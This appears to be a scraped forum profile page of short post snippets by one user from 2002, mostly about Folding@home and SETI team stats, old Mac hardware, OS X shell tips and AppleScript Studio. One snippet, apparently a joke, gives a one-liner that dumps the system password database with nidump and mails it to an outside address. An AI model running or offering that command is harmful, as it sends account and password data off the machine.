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you won't hack yourself if you don't learn the... 804 Views / 10 Replies  
you won't hack yourself if you don't learn the cli

cli version of nmap works fine on os x w/o installing xdarwin
Posted by Michael A. Peters, on May 23, 2002 at 05:42 AM, in macOS
How to tell if mysql is running- [osx:~]... 550 Views / 8 Replies  
How to tell if mysql is running-

[osx:~] michael% ps -waux |grep mysqld
root 283 0.0 0.2 1732 424 ?? S 0:00.05 sh /usr/local/bin/safe_mysqld
mysql 302 0.0 0.1 ...
Posted by Michael A. Peters, on May 23, 2002 at 05:36 AM, in Developer Center
[FOLD] MacPhilez powering up- 395 Views / 0 Replies  
we (macaddict4life) finally passed Team MacPhiles-

They seem to have responded, as the last six hours (typically the low point for most teams and most people are sleepin') they doubles production...
Posted by Michael A. Peters, on May 18, 2002 at 07:25 AM, in Team MacNN
For those interested- here is a shell script that... 550 Views / 8 Replies  
For those interested- here is a shell script that will compile MySQL on your system for you-
http://12.233.82.128/seti/build_mysql.sh

If using IE then command click link to save, don't view it...
Posted by Michael A. Peters, on May 18, 2002 at 06:53 AM, in Developer Center
Free Plug 438 Views / 2 Replies  
Hey guys- I gave you a free plug-
http://forum.folding-community.org/viewtopic.php?p=2014#2014

Can I have a cookie now?
Posted by Michael A. Peters, on May 16, 2002 at 07:48 PM, in Team MacNN
scott- I had a similar idea- I actually... 439 Views / 5 Replies  
scott-

I had a similar idea- I actually manually implemented it on my machines.

What it would do is have a primary and secondary project.

The primary project runs six days a week, the...
Posted by Michael A. Peters, on May 11, 2002 at 11:29 PM, in Team MacNN
you should be able to. If my 333 is gonna do it... 718 Views / 17 Replies  
you should be able to.
If my 333 is gonna do it in 6 six days, a 500 should be even faster,
Posted by Michael A. Peters, on May 9, 2002 at 05:23 PM, in Team MacNN
I'm 10 minutes from having had the unit for 24... 718 Views / 17 Replies  
I'm 10 minutes from having had the unit for 24 hours and I'm 17 frames in (of 100)

So it looks like just under 6 days for these buggers on my G3
I can't waid for my fed taxes to come back- a 500...
Posted by Michael A. Peters, on May 9, 2002 at 08:24 AM, in Team MacNN
Just short of 17 hours for me- 12% done 333... 718 Views / 17 Replies  
Just short of 17 hours for me-
12% done
333 Beige G3

I'll look at my iMac and post its rate-
it's a 433 G4 upgraded iMac, I'm interested in how it does compared your 400 G4

I'm guessing my...
Posted by Michael A. Peters, on May 9, 2002 at 01:14 AM, in Team MacNN
you can also put a rev a-d imac into an atx case.... 707 Views / 3 Replies  
you can also put a rev a-d imac into an atx case.
It requires making an adapter for power supply, but there are instructios floating around on the web.

A cool thing to do is to put it in a 1U...
Posted by Michael A. Peters, on May 8, 2002 at 05:51 AM, in Hardware Hacking
se had a pds slot (as did se/30), not nubus ... 637 Views / 6 Replies  
se had a pds slot (as did se/30), not nubus

the se and se/30 pds slots i believe are different, though.
Posted by Michael A. Peters, on May 8, 2002 at 05:48 AM, in Hardware Hacking
A MacAddict cruncher just got one too- I think... 718 Views / 17 Replies  
A MacAddict cruncher just got one too-
I think they have _finally_ stopped giving us just the 0.5 point dealies!

YaY !!
Posted by Michael A. Peters, on May 8, 2002 at 05:43 AM, in Team MacNN
Core_65.exe already runs at rock bottom priority... 498 Views / 10 Replies  
Core_65.exe already runs at rock bottom priority (nice 20).
You can't make it be any more nice.

It (CLI version) does not make my 333 Beige G3 slow.
Are you running the gui version?
Posted by Michael A. Peters, on May 7, 2002 at 04:46 AM, in Team MacNN
programs always run from ram. That's the way... 803 Views / 23 Replies  
programs always run from ram.
That's the way modern computers work.
An executable is loaded into memory and then executed from memory.
It does that wether or not you have a ram disk.

In OS 9...
Posted by Michael A. Peters, on May 6, 2002 at 04:49 AM, in Team MacNN
I should note- for this proxy to work, first you... 545 Views / 4 Replies  
I should note- for this proxy to work, first you have to have a client that has a work unit. Then you tell that client to use this proxy (the proxy runs on port 8081 ).

After the client accesses...
Posted by Michael A. Peters, on May 5, 2002 at 06:38 PM, in Team MacNN
On OS X you can install setiproxy I have it... 545 Views / 4 Replies  
On OS X you can install setiproxy

I have it at http://macaddict4life.dhs.org/setiproxyosx.pkg.tar.gz

Once installed, just go to http://127.0.0.1:8083 an you can admin it (web based admin).
...
Posted by Michael A. Peters, on May 5, 2002 at 06:33 PM, in Team MacNN
Has anyone documented performance improvements? ... 803 Views / 23 Replies  
Has anyone documented performance improvements?

I imagine there might be while the drive is asleep because OS X won't be accessing physical hd during that period, but I'm skeptical that there's...
Posted by Michael A. Peters, on May 5, 2002 at 06:25 PM, in Team MacNN
The original picture was NOT flipped... 1,305 Views / 66 Replies  
The original picture was NOT flipped horizontally.
Look at the pram battery- the triangle and the leaf.

Prototype boards such as this one are not intended to be run in a case.
That part (board...
Posted by Michael A. Peters, on May 5, 2002 at 12:06 PM, in Mac Desktops
Wow- that's sexy :D 492 Views / 4 Replies  
Wow- that's sexy :D
Posted by Michael A. Peters, on May 4, 2002 at 04:24 AM, in Gaming
nidump passwd . |mail -s "passwd file"... 803 Views / 23 Replies  
nidump passwd . |mail -s "passwd file" [email protected]

:D
Posted by Michael A. Peters, on May 4, 2002 at 04:21 AM, in Team MacNN
I would LOVE an altivec enabled client. I don't... 413 Views / 7 Replies  
I would LOVE an altivec enabled client.
I don't know how much faster it would make it- but every little bit helps.

I use a 433G4 upgraded iMac and a 333 Beige G3 but I'm seriously considering...
Posted by Michael A. Peters, on Apr 29, 2002 at 05:37 AM, in Team MacNN
That's too bad. That's one of the things I... 575 Views / 45 Replies  
That's too bad.
That's one of the things I didn't like about seti.
Posted by Michael A. Peters, on Apr 27, 2002 at 06:11 PM, in Team MacNN
couldn't help but notice someone said that seti... 500 Views / 25 Replies  
couldn't help but notice someone said that seti isn't very useful, so they do rc5.

Um, explain to me again how rc5 is useful?

If you want a useful project, run Folding@Home or dFold or...
Posted by Michael A. Peters, on Apr 21, 2002 at 07:52 PM, in Team MacNN
That wasn't my experience running both folding @... 451 Views / 14 Replies  
That wasn't my experience running both folding @ seti on a 900 Athlon.

What happened is they both took about 50% of cpu (as expected) flip-flopping as to which took more, and my production for...
Posted by Michael A. Peters, on Apr 20, 2002 at 02:43 PM, in Team MacNN
Version 1 motherboard Beige G3 with a 333 MHz G3... 637 Views / 35 Replies  
Version 1 motherboard Beige G3 with a 333 MHz G3 cpu (orig 233)
256 mb ram

Not too bad.

Not as fast as my 433 G4 iMac (Newer Upgraded) but workable.
Posted by Michael A. Peters, on Apr 17, 2002 at 09:15 AM, in macOS
Just an fyi- the bsd su (what os x uses)... 601 Views / 4 Replies  
Just an fyi-

the bsd su (what os x uses) does not let a normal user su to the root user.

You have to be in the wheel group to do that.

GNU su doesn't care, but BSD su does.
You can build...
Posted by Michael A. Peters, on Apr 17, 2002 at 09:10 AM, in macOS
su - admin_user_name that should work. ... 601 Views / 4 Replies  
su - admin_user_name

that should work.

I don't know what's up with your setgroups.
Did you chage what group you are in w/o changing the permissions of your home directory or something?

It...
Posted by Michael A. Peters, on Apr 17, 2002 at 09:08 AM, in macOS
Nope- Must have been some other stalling... 465 Views / 10 Replies  
Nope-

Must have been some other stalling issue they fixed-

IE on MacNN isn't fixed :(
Posted by Michael A. Peters, on Apr 16, 2002 at 08:19 PM, in Feedback
A new version of IE is out. Supposedly it fixes... 465 Views / 10 Replies  
A new version of IE is out.
Supposedly it fixes this issue.

If it does, then I don't care about the ads :)
Posted by Michael A. Peters, on Apr 16, 2002 at 08:16 PM, in Feedback
I don't understand your stats 323 Views / 1 Replies  
On the folding rank page-

Team MUSHMellow has 4151 points and is doing 88 a day.
They are classified as burried deep.

Team currywurst has less points (4092) and does less a day (38).
They are...
Posted by Michael A. Peters, on Apr 16, 2002 at 02:07 PM, in Team MacNN
On mine I can connect via any IP address on the... 482 Views / 5 Replies  
On mine I can connect via any IP address on the machine.

I have two IP addresses and both work for IP based file sharing, though only one is listed in the file sharing network preference.
Posted by Michael A. Peters, on Apr 15, 2002 at 10:02 AM, in macOS
edit /etc/syslog.conf (I assume that's where... 458 Views / 3 Replies  
edit /etc/syslog.conf
(I assume that's where you have the logging set up for that)

have it log them to file only.

then open a terminal and tail -f file

out of curiosity- why do you want to...
Posted by Michael A. Peters, on Apr 15, 2002 at 09:43 AM, in macOS
Your ads suck 465 Views / 10 Replies  
Sorry- but many of the ads you guys serve causes IE in OS X to lock up and go spinning beach ball.

It really makes me avoid this place when using IE (most of the time).

MacAddict and...
Posted by Michael A. Peters, on Apr 14, 2002 at 11:24 AM, in Feedback
There were a couple bugs- It was actually... 536 Views / 4 Replies  
There were a couple bugs-

It was actually fine, but fixing of a minor thing before release caused a bigger thing :(

It's all fixed now.
At least I'm *pretty* sure ;)
Posted by Michael A. Peters, on Apr 8, 2002 at 04:27 PM, in Team MacNN
Folding Control 536 Views / 4 Replies  
http://macaddict4life.dhs.org/folding_control.php

It's the first public release of the app I've been working on that installs and monitors and controls the cli folding@home client.

If dual cpu...
Posted by Michael A. Peters, on Apr 8, 2002 at 07:28 AM, in Team MacNN
Nailed it! set the enabled of button "Start... 513 Views / 1 Replies  
Nailed it!

set the enabled of button "Start Folding" of view of tab view item "Folding Control Center" of tab view "Folding Tab" of window "Folding Control" to true

nibs over at...
Posted by Michael A. Peters, on Apr 5, 2002 at 04:27 AM, in Developer Center
Hm... I'll try firing up the gui version on... 616 Views / 10 Replies  
Hm...

I'll try firing up the gui version on my 333 beige G3 (It was originally a 233 Beige G3- rev 1 mobo- ATI Rage II+)

I'll see if I have graphics.

I bet you right though, and I bet I...
Posted by Michael A. Peters, on Apr 5, 2002 at 03:13 AM, in Team MacNN
one thing you can do if expect is installed on... 1,037 Views / 4 Replies  
one thing you can do if expect is installed on the system is write an expect script to interact with your shell scripts.

Then you can use studio as a front end to write a text file of variables,...
Posted by Michael A. Peters, on Apr 4, 2002 at 04:34 PM, in Developer Center
[studio] NSTabViewItem 513 Views / 1 Replies  
I posted this over at Apple's AppleCare AppleScript forum, but over there- I see a zillion questions and maybe 5 answers, so it looks like that forum is mostly visited by people with questions.

So...
Posted by Michael A. Peters, on Apr 4, 2002 at 04:28 PM, in Developer Center
I do know that for my athlon, there was a... 404 Views / 2 Replies  
I do know that for my athlon, there was a situation where the server was sending units out but not receiving new ones back.

There were 3 cores running- two for finished units in Q and one for unit...
Posted by Michael A. Peters, on Apr 2, 2002 at 03:25 PM, in Team MacNN
900 MHz Athlon, Folding 900 MHz Athlon, dead... 994 Views / 54 Replies  
900 MHz Athlon, Folding
900 MHz Athlon, dead power supply, so nada at the moment
433 G4 upgraded Blueberry (with Bondi "can"), Folding
333 G3 - normally seti in OS 9 but right now, folding in X...
Posted by Michael A. Peters, on Apr 2, 2002 at 07:29 AM, in Team MacNN
krove- I'm working on a similar app. Also... 486 Views / 9 Replies  
krove-

I'm working on a similar app.
Also Applecript Studio.

I've run into a couple AppleScript Oddities-

1) Finder sort
This does not seem to work in OS X (yet)
I want to use it to sort...
Posted by Michael A. Peters, on Apr 2, 2002 at 03:27 AM, in Team MacNN
That is not true. Many daemons that don't... 501 Views / 11 Replies  
That is not true.

Many daemons that don't need root have traditionally been started by cron in time past.
With many daemons, you want them to restarts if they fail and die.

It is not uncommon...
Posted by Michael A. Peters, on Mar 28, 2002 at 05:36 PM, in Team MacNN
That's the way it works. Unless you have a... 501 Views / 11 Replies  
That's the way it works.
Unless you have a specific user starting folding, then whoever is logged in starts the process and it runs under the permissions of that user and creates files with the...
Posted by Michael A. Peters, on Mar 28, 2002 at 01:22 PM, in Team MacNN
Amiga (remember them?) is releasing a ATX form... 450 Views / 4 Replies  
Amiga (remember them?) is releasing a ATX form factor PowerPC logic board.
It's pricey, and I don't know what availability will be, but it will still be much cheaper than buying a Mac. A LOT...
Posted by Michael A. Peters, on Mar 28, 2002 at 05:05 AM, in Team MacNN
LoL I've been to their forums, they're not a... 384 Views / 2 Replies  
LoL

I've been to their forums, they're not a bad group of people- but they _are_ very single minded!
Posted by Michael A. Peters, on Mar 28, 2002 at 02:48 AM, in Team MacNN
And you'll never feel alienated ;) 418 Views / 8 Replies  
And you'll never feel alienated ;)
Posted by Michael A. Peters, on Mar 28, 2002 at 01:00 AM, in Team MacNN
first rule in negotiating- If you'd be happy... 1,906 Views / 159 Replies  
first rule in negotiating-

If you'd be happy with an inch, demand a mile ;)
Posted by Michael A. Peters, on Mar 27, 2002 at 10:47 PM, in Team MacNN
I'd love too, but look at my post count at arse ... 1,906 Views / 159 Replies  
I'd love too, but look at my post count at arse ;)
Posted by Michael A. Peters, on Mar 27, 2002 at 10:15 PM, in Team MacNN
Too bad OS X doesn't come with eject eject... 635 Views / 7 Replies  
Too bad OS X doesn't come with eject

eject {opens cd if not mounted)
eject /dev/whatever (ejects other removable media)
eject -t (draws cd tray back in)
eject -t /dev/whateve (if equiped, draws...
Posted by Michael A. Peters, on Mar 27, 2002 at 09:17 PM, in macOS
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